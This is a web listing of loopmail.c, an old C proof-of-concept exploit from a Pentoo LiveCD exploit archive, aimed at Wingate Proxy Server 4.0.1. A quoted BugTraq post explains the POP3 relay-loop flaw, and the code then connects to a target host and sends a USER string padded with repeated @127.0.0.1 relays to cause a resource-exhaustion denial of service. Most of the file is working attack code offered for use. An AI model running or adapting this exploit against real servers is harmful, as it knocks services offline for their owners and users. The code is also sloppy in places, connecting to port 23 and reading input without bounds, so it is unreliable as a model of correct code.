home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / wingate / loopmail.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  85 lines

  1. /*
  2.    This is a proof of concept code written for the Wingate Proxy server. Original
  3.    idea by Gregory Duchemin and emplemented by Cyber_Bob. Tested against Wingate
  4.    Proxy Server 4.0.1 on Windows 98. This code was thrown together in about 5
  5.    minutes so if it's sloppy that's probably why.
  6.  
  7.    OVERVIEW (from Greg's post to BugTraq):
  8.  
  9.    I have recently downloaded a trial version of wingate proxy server 4.0.1 and
  10.    installed it on a win98 box.
  11.    While playing arround with the pop3 proxy feature, i have discovered that
  12.    the software allows pop3 address encapsulation in the USER command.
  13.    Proxying is not a native capability of POP3 protocol, to do that, wingate
  14.    need a special crafted login string in the following format:
  15.    USER login@host.domain where login is the owner of the pop3 account and
  16.    host.domain, the address of the real pop3 server to forward the request to.
  17.    The "PASS" field doesn't change.
  18.  
  19.    if someone submit a USER command like this:
  20.  
  21.    USER login@host.domain@127.0.0.1@127.0.0.1
  22.    PASS what3ver_u_want
  23.  
  24.    it should be accepted and the managment console whill show up 2 more active
  25.    connections. It seems there are no limitation on the size of the login and
  26.    so on the number of proxy relays we can use leading in a potential ressource
  27.    starvation DOS (memory, cpu usage etc...)
  28.  
  29.                                                            Cyber-Bob@BAK.RR.COM
  30. */
  31.  
  32.  
  33. #include <stdio.h>
  34. #include <stdlib.h>
  35. #include <sys/time.h>
  36. #include <sys/types.h>
  37. #include <unistd.h>
  38. #include <sys/socket.h>
  39. #include <netinet/in.h>
  40. #include <netdb.h>
  41. #include <sys/errno.h>
  42.  
  43. char tmp1[]="@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1";
  44. char tmp[920], userloop[1000], pass[]="PASS whatever";
  45. int sock;
  46. struct sockaddr_in sa;
  47. struct hostent *hp;
  48.  
  49. int main(int argc, char *argv[]){
  50.     if(argc<2){
  51.         printf("Usage: %s <host>\n", argv[0]);
  52.         exit(-1);
  53.     }
  54.     if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL){
  55.         perror("Exiting, failed to resolve host...");
  56.         exit(-1);
  57.     }
  58.     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
  59.         perror("Exiting, could not open socket...");
  60.         exit(-1);
  61.     }
  62.     sa.sin_family=AF_INET;
  63.     sa.sin_port=htons(23);
  64.     memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
  65.     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0){
  66.         perror("Exiting, could not connect to host...");
  67.         exit(-1);
  68.     }
  69.     printf("Preparing to DoS wingate on \"%s\"... ", argv[1]);
  70.     fflush(stdout);
  71.     fflush(stdin);
  72.     printf("Done.\n");
  73.     printf("Enter valid \"username@forwarding_server\": ");
  74.     scanf("%s", &tmp);
  75.     strcat(tmp, tmp1);
  76.     strcpy(userloop, tmp);
  77.     printf("\nSending relay loop strings... ");
  78.     write(sock,&userloop,150);
  79.     usleep(10000);
  80.     write(sock,&pass,sizeof(pass));
  81.     usleep(10000);
  82.     printf("Done.\n");
  83.     return 0;
  84. }
  85. /*                    www.hack.co.za           [26 July 2000]*/